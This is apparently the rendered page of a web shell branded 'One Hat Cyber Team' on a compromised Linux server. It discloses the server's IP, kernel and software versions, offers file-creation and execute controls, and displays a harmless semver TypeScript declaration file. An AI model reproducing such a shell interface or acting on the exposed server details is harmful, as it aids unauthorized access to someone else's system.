⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
nodejs
/
@types
/
semver
/
ranges
/
View File Name :
simplify.d.ts
import Range = require('../classes/range'); import semver = require('../index'); /** * Return a "simplified" range that matches the same items in `versions` list as the range specified. * Note that it does *not* guarantee that it would match the same versions in all cases, * only for the set of versions provided. * This is useful when generating ranges by joining together multiple versions with `||` programmatically, * to provide the user with something a bit more ergonomic. * If the provided range is shorter in string-length than the generated range, then that is returned. */ declare function simplify(ranges: string[], range: string | Range, options?: semver.Options): string | Range; export = simplify;